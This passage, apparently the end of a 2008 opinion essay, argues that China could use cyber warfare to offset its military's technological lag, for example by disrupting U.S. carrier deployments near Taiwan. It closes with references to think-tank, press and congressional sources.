“One way to assess this risk is to ask whether a cyber attack by China launched a few days in advance of a clash could prevent U.S. carrier battle groups from deploying to the Taiwan Straits. Launching the attacks too early would create the risk of discovery and countermeasures.[5]

China could boost its cyber warfare capabilities in order to compensate for their technological backwardness
China could boost its cyber warfare capabilities in order to compensate for their technological backwardness

It is clear to me that a nation with a technologically late compared to modern armies have all the advantage to develop asymmetrical warfare. We can assess its effectiveness in Afghanistan and Iraq. And cyber warfare is a perfect way to destabilize modern armies used to technology in their daily operations. But this is far from being easy for both sides, as talented individuals and highly skills hackers are needed to develop this kind of warfare. Terrorists and groups are unlikely to develop a high quality cyber warfare force, although they still can be efficient. China, on the other hand, can and is smart to do it. After all, if a force can disable communications the enemy’s communications networks, such as GPS, emails and phone networks, it can makes a strong army useless. Like a strong man or woman, if the brain can contact the muscle through the nervous system, the body is powerless…

See also:

“How China Will Use Cyber Warfare To Leapfrog in Military Competitiveness“, Jason Fritz, Culture Mandala, Vol. 8, No. 1, October 2008

China’s Military Modernization and Its Impact on the United States and the Asia- Pacific“, U.S.-China Economic and Security Review Commission, 110th Cong, 1st Sess., March 29-30, 2007


[1] “How China Will Use Cyber Warfare To Leapfrog in Military Competitiveness”, Jason Fritz, Culture Mandala, Vol. 8, No. 1, October 2008, pp.29

[2] “Trojan Dragon: China’s Cyber Threat”, John J. Tkacik, Jr., The Heritage Foundation, February 8, 2008, http://www.heritage.org/Research/asiaandthepacific/bg2106.cfm#_ftn6 (accessed November 3, 2008)

[3] “Titan Rain – how Chinese hackers targeted Whitehall”, Richard Norton-Taylor, The Guardian, September 5, 2007, http://www.guardian.co.uk/technology/2007/sep/04/news.internet (accessed November 3, 2008)

[4] China’s Military Modernization and Its Impact on the United States and the Asia- Pacific, U.S.-China Economic and Security Review Commission, 110th Cong, 1st Sess., March 29-30, 2007, p. 2

[5] Ibid. p.144